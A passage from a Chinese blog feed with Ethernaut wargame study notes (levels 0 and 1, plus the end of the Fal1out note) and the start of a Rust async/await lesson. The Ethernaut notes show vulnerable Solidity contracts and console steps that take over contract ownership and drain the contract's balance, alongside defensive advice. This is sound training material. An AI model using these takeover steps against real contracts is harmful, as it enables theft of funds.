class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>调用前先查看 <code>owner()</code>。</li><li>调用 <code>Fal1out({value: toWei("0.000001")})</code>。</li><li>再次查看 <code>owner()</code>，确认已经变成自己的地址。</li><li>提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：Solidity 0.4.22 之后推荐 <code>constructor</code> 关键字，就是为避免这类拼写事故。</li><li>防御建议：使用现代编译器；初始化函数必须加访问控制和一次性初始化保护。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/SkJgDcs4T" >https://hackmd.io/@0xbc000/SkJgDcs4T<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 01：Fallback</title>
<link href="https://kylinxin.github.io/2026/05/02/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2001%EF%BC%9AFallback/"/>
<id>https://kylinxin.github.io/2026/05/02/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2001%EF%BC%9AFallback/</id>
<published>2026-05-02T01:00:00.000Z</published>
<updated>2026-05-02T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 1 - Fallback</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>成为 Fallback 合约 owner，并调用 <code>withdraw()</code> 把实例余额清空。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>fallback/receive 入口</li><li>低金额 contribute 铺垫权限条件</li><li>owner 接管后提款</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Fallback</span> {</span><br><span class="line"></span><br><span class="line"> <span class="title function_">mapping</span>(<span class="function"><span class="params">address</span> =></span> uint) public contributions;</span><br><span class="line"> address public owner;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> contributions[msg.<span class="property">sender</span>] = <span class="number">1000</span> * (<span class="number">1</span> ether);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> modifier onlyOwner {</span><br><span class="line"> <span class="built_in">require</span>(</span><br><span class="line"> msg.<span class="property">sender</span> == owner,</span><br><span class="line"> <span class="string">"caller is not the owner"</span></span><br><span class="line"> );</span><br><span class="line"> _;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">contribute</span>(<span class="params"></span>) public payable {</span><br><span class="line"> <span class="built_in">require</span>(msg.<span class="property">value</span> < <span class="number">0.001</span> ether);</span><br><span class="line"> contributions[msg.<span class="property">sender</span>] += msg.<span class="property">value</span>;</span><br><span class="line"> <span class="keyword">if</span>(contributions[msg.<span class="property">sender</span>] > contributions[owner]) {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">getContribution</span>(<span class="params"></span>) public view <span class="title function_">returns</span> (uint) {</span><br><span class="line"> <span class="keyword">return</span> contributions[msg.<span class="property">sender</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">withdraw</span>(<span class="params"></span>) public onlyOwner {</span><br><span class="line"> <span class="title function_">payable</span>(owner).<span class="title function_">transfer</span>(<span class="title function_">address</span>(<span class="variable language_">this</span>).<span class="property">balance</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_">receive</span>() external payable {</span><br><span class="line"> <span class="built_in">require</span>(msg.<span class="property">value</span> > <span class="number">0</span> && contributions[msg.<span class="property">sender</span>] > <span class="number">0</span>);</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li><code>withdraw()</code> 被 <code>onlyOwner</code> 保护，因此真正目标是改写 <code>owner</code>。</li><li><code>contribute()</code> 看似可以改 owner，但初始 owner 的贡献额是 <code>1000 ether</code>，正常玩家不可能用小额贡献超过它。</li><li>真正入口在 <code>receive()</code>：只要直接给合约转 ETH，且 <code>msg.value > 0</code>、<code>contributions[msg.sender] > 0</code>，合约就会把 <code>owner</code> 改成 <code>msg.sender</code>。</li><li>所以攻击必须分两步：先 <code>contribute</code> 一笔小于 <code>0.001 ether</code> 的金额建立贡献记录，再发送一笔普通 ETH 转账触发 <code>receive()</code>。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level01-fallback-owner.png" alt="接管 owner 后再执行 withdraw 的过程记录。" ><figcaption>接管 owner 后再执行 withdraw 的过程记录。</figcaption></figure></p><p>图注：接管 owner 后再执行 withdraw 的过程记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>先调用 <code>contribute</code>，发送一笔很小的 ETH，让 <code>contributions[msg.sender] > 0</code>。</li><li>再向实例地址直接转账，calldata 为空会进入 <code>receive()</code>。</li><li><code>receive()</code> 检查通过后把 <code>owner</code> 改成调用者。</li><li>调用 <code>withdraw()</code> 清空合约余额。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> contract.<span class="title function_">contribute</span>({ <span class="attr">value</span>: <span class="title function_">toWei</span>(<span class="string">"0.000001"</span>) })</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">sendTransaction</span>({ <span class="attr">value</span>: <span class="title function_">toWei</span>(<span class="string">"0.000001"</span>) })</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">owner</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">withdraw</span>()</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>先调用 <code>contribute({value: toWei("0.000001")})</code>，让自己的 contribution 大于 0。</li><li>再用 <code>sendTransaction</code> 给实例地址转一笔小额 ETH，calldata 为空，所以进入 <code>receive()</code>。</li><li>确认 <code>owner()</code> 已变成玩家地址。</li><li>调用 <code>withdraw()</code> 提走余额，提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：不要只审查显式函数；<code>receive</code>/<code>fallback</code> 也是外部入口。</li><li>防御建议：授权逻辑不要放在收款回调里；收款逻辑尽量保持无状态，关键权限只能通过明确的管理流程变更。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/rJy5LtoN6" >https://hackmd.io/@0xbc000/rJy5LtoN6<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
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<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
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<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 00：Hello Ethernaut</title>
<link href="https://kylinxin.github.io/2026/05/01/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2000%EF%BC%9AHello%20Ethernaut/"/>
<id>https://kylinxin.github.io/2026/05/01/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2000%EF%BC%9AHello%20Ethernaut/</id>
<published>2026-05-01T01:00:00.000Z</published>
<updated>2026-05-01T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 0 - Hello Ethernaut</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>熟悉 Ethernaut 的基本操作：连接钱包、创建实例、在浏览器控制台调用合约、提交实例。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>Ethernaut 实例生命周期</li><li>浏览器控制台与异步合约调用</li><li>公开变量 getter</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Instance</span> {</span><br><span class="line"></span><br><span class="line"> string public password;</span><br><span class="line"> uint8 public infoNum = <span class="number">42</span>;</span><br><span class="line"> string public theMethodName = <span class="string">'The method name is method7123949.'</span>;</span><br><span class="line"> bool private cleared = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// constructor</span></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">string memory _password</span>) {</span><br><span class="line"> password = _password;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">info</span>(<span class="params"></span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'You will find what you need in info1().'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">info1</span>(<span class="params"></span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Try info2(), but with "hello" as a parameter.'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">info2</span>(<span class="params">string memory param</span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">if</span>(<span class="title function_">keccak256</span>(abi.<span class="title function_">encodePacked</span>(param)) == <span class="title function_">keccak256</span>(abi.<span class="title function_">encodePacked</span>(<span class="string">'hello'</span>))) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'The property infoNum holds the number of the next info method to call.'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'Wrong parameter.'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">info42</span>(<span class="params"></span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'theMethodName is the name of the next method.'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">method7123949</span>(<span class="params"></span>) public pure <span class="title function_">returns</span> (string memory) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'If you know the password, submit it to authenticate().'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">authenticate</span>(<span class="params">string memory passkey</span>) public {</span><br><span class="line"> <span class="keyword">if</span>(<span class="title function_">keccak256</span>(abi.<span class="title function_">encodePacked</span>(passkey)) == <span class="title function_">keccak256</span>(abi.<span class="title function_">encodePacked</span>(password))) {</span><br><span class="line"> cleared = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">getCleared</span>(<span class="params"></span>) public view <span class="title function_">returns</span> (bool) {</span><br><span class="line"> <span class="keyword">return</span> cleared;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>本关没有复杂漏洞，重点是建立操作习惯。Ethernaut 页面创建实例后，会在控制台暴露 <code>contract</code>、<code>player</code>、<code>instance</code> 等变量，<code>contract</code> 就是当前实例的 ABI 封装对象。</li><li>源码中 <code>password</code> 是 <code>public</code>，Solidity 会自动生成 <code>password()</code> getter，所以控制台可以直接读到口令。<code>cleared</code> 虽然是 <code>private</code>，但这里只需要通过 <code>authenticate</code> 改它。</li><li><code>info2</code> 用 <code>keccak256(abi.encodePacked(param))</code> 比较字符串，所以参数必须是精确的 <code>hello</code>。后续 <code>infoNum</code>、<code>theMethodName</code> 都是在训练如何根据返回值继续找下一个函数。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>连接钱包并选择测试网，创建本关实例。</li><li>在浏览器 DevTools Console 中逐个调用 <code>info</code> 系列函数。</li><li>读取公开变量 <code>password</code>，把得到的口令传入 <code>authenticate</code>。</li><li>回到页面提交实例。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> contract.<span class="title function_">info</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">info1</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">info2</span>(<span class="string">"hello"</span>)</span><br><span class="line"><span class="keyword">const</span> n = <span class="keyword">await</span> contract.<span class="title function_">infoNum</span>()</span><br><span class="line"><span class="keyword">await</span> contract[<span class="string">"info"</span> + n]()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">theMethodName</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">method7123949</span>()</span><br><span class="line"><span class="keyword">const</span> pass = <span class="keyword">await</span> contract.<span class="title function_">password</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">authenticate</span>(pass)</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>创建实例后打开浏览器 DevTools Console。</li><li>按提示链式调用 <code>info -> info1 -> info2("hello") -> infoNum -> info42 -> theMethodName -> method7123949</code>。</li><li>读取 <code>password()</code> 得到口令，调用 <code>authenticate(password)</code>。</li><li>回到页面提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：这是环境教学关，重点不是漏洞，而是理解 Ethernaut 的 <code>contract</code> 变量就是当前实例的 Web3 合约对象。</li><li>防御建议：生产合约不要把敏感口令放在链上公开变量里；即使变量标成 <code>private</code>，链上存储也能被读取。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/ryToeKj4a" >https://hackmd.io/@0xbc000/ryToeKj4a<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Rust学习笔记 16：异步编程 async-await</title>
<link href="https://kylinxin.github.io/2026/04/16/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-16-%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B%20async-await/"/>
<id>https://kylinxin.github.io/2026/04/16/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-16-%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B%20async-await/</id>
<published>2026-04-16T01:00:00.000Z</published>
<updated>2026-05-06T11:50:00.000Z</updated>
<content type="html"><![CDATA[<p>对应代码文件：<code>src/bin/16_async_await.rs</code></p><p>运行命令：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cargo run --bin lesson16_async_await</span><br></pre></td></tr></table></figure></div><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><p>异步编程用于在等待 IO、网络或定时器时不阻塞整个线程。Rust 使用 <code>Future</code>、<code>async</code> 和 <code>.await</code> 表达异步任务。</p><p>本节示例保持无外部依赖，重点解释机制。真实项目通常会使用 Tokio 或 async-std 这样的异步运行时。</p><ul><li>理解 <code>async fn</code> 返回 Future。</li><li>知道 <code>.await</code> 表示等待异步结果。</li><li>理解 Future 需要运行时或执行器推动。</li><li>区分并发 concurrent 和并行 parallel。</li></ul><h2 id="核心概念速查"><a href="#核心概念速查" class="headerlink" title="核心概念速查"></a>核心概念速查</h2><table><thead><tr><th>术语</th><th>基本意思</th><th>本节用途</th></tr></thead><tbody><tr><td>async</td><td>声明异步块或异步函数。</td><td><code>async fn load()</code> 不会立即执行完所有逻辑，而是返回 Future。</td></tr><tr><td>await</td><td>等待 Future 完成并取出结果。</td><td>只能在 async 上下文中使用。</td></tr><tr><td>Future</td><td>代表一个未来可能完成的计算。</td><td>需要被 poll 推动。</td></tr><tr><td>执行器 executor</td><td>负责轮询 Future 的运行组件。</td><td>Tokio 就提供成熟执行器。</td></tr><tr><td>运行时 runtime</td><td>提供执行器、定时器、IO 驱动等能力。</td><td>网络异步通常离不开运行时。</td></tr></tbody></table><h2 id="完整源码"><a href="#完整源码" class="headerlink" title="完整源码"></a>完整源码</h2><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">use</span> std::future::Future;</span><br><span class="line"><span class="keyword">use</span> std::pin::Pin;</span><br><span class="line"><span class="keyword">use</span> std::sync::Arc;</span><br><span class="line"><span class="keyword">use</span> std::task::{Context, Poll, Wake, Waker};</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">NoopWaker</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Wake</span> <span class="keyword">for</span> <span class="title class_">NoopWaker</span> {</span><br><span class="line"> <span class="keyword">fn</span> <span class="title function_">wake</span>(<span class="keyword">self</span>: Arc<<span class="keyword">Self</span>>) {</span><br><span class="line"> <span class="comment">// 这个演示用的 Future 会立即完成，所以不需要真正唤醒任务。</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">block_on_ready</span><F: Future>(future: F) <span class="punctuation">-></span> F::Output {</span><br><span class="line"> <span class="comment">// 真实项目通常使用 Tokio 或 async-std 这样的运行时。</span></span><br><span class="line"> <span class="comment">// 这里不用外部依赖，只演示 Future 如何被 poll。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">waker</span> = Waker::<span class="title function_ invoke__">from</span>(Arc::<span class="title function_ invoke__">new</span>(NoopWaker));</span><br><span class="line"> <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">context</span> = Context::<span class="title function_ invoke__">from_waker</span>(&waker);</span><br><span class="line"> <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">future</span> = <span class="type">Box</span>::<span class="title function_ invoke__">pin</span>(future);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">match</span> Future::<span class="title function_ invoke__">poll</span>(Pin::<span class="title function_ invoke__">as_mut</span>(&<span class="keyword">mut</span> future), &<span class="keyword">mut</span> context) {</span><br><span class="line"> Poll::<span class="title function_ invoke__">Ready</span>(value) => value,</span><br><span class="line"> Poll::Pending => <span class="built_in">panic!</span>(<span class="string">"这个简单演示只支持立即完成的 Future"</span>),</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">fetch_number</span>() <span class="punctuation">-></span> <span class="type">i32</span> {</span><br><span class="line"> <span class="comment">// async fn 返回一个实现 Future 的值；函数体不会立刻执行到完成。</span></span><br><span class="line"> <span class="number">42</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">double_number</span>() <span class="punctuation">-></span> <span class="type">i32</span> {</span><br><span class="line"> <span class="comment">// await 会等待另一个 Future 完成，并取出结果。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">number</span> = <span class="title function_ invoke__">fetch_number</span>().<span class="keyword">await</span>;</span><br><span class="line"> number * <span class="number">2</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">result</span> = <span class="title function_ invoke__">block_on_ready</span>(<span class="title function_ invoke__">double_number</span>());</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"异步计算结果: {result}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"实际网络、文件、定时器异步任务通常需要 Tokio 或 async-std 运行时。"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="运行与观察"><a href="#运行与观察" class="headerlink" title="运行与观察"></a>运行与观察</h2><p>使用 <code>cargo run --bin lesson16_async_await</code> 可以只运行本节示例。</p><p>这里的 <code>--bin</code> 后面写的是 <code>Cargo.toml</code> 中声明的目标名，不是 <code>.rs</code> 文件名。文件名用于组织源码，bin 名用于 Cargo 运行。</p><p>建议初学时先直接运行，再修改一两行代码观察编译器提示。Rust 的错误信息通常会指出所有权、类型或借用规则哪里不满足。</p><h2 id="逐段解读"><a href="#逐段解读" class="headerlink" title="逐段解读"></a>逐段解读</h2><h3 id="async-fn"><a href="#async-fn" class="headerlink" title="async fn"></a>async fn</h3><p>异步函数调用后得到 Future，不是马上得到最终值。</p><h3 id="await"><a href="#await" class="headerlink" title=".await"></a>.await</h3><p>在异步上下文中等待另一个 Future 完成。</p><h3 id="无依赖示例"><a href="#无依赖示例" class="headerlink" title="无依赖示例"></a>无依赖示例</h3><p>本节用标准库展示 Future 被手动推动的基本过程。</p><h3 id="真实项目"><a href="#真实项目" class="headerlink" title="真实项目"></a>真实项目</h3><p>实际网络、文件和定时器异步通常使用 Tokio 等运行时。</p><h2 id="专有词语详解"><a href="#专有词语详解" class="headerlink" title="专有词语详解"></a>专有词语详解</h2><h3 id="async"><a href="#async" class="headerlink" title="async"></a>async</h3><p>声明异步块或异步函数。</p><p><code>async fn load()</code> 不会立即执行完所有逻辑，而是返回 Future。</p><h3 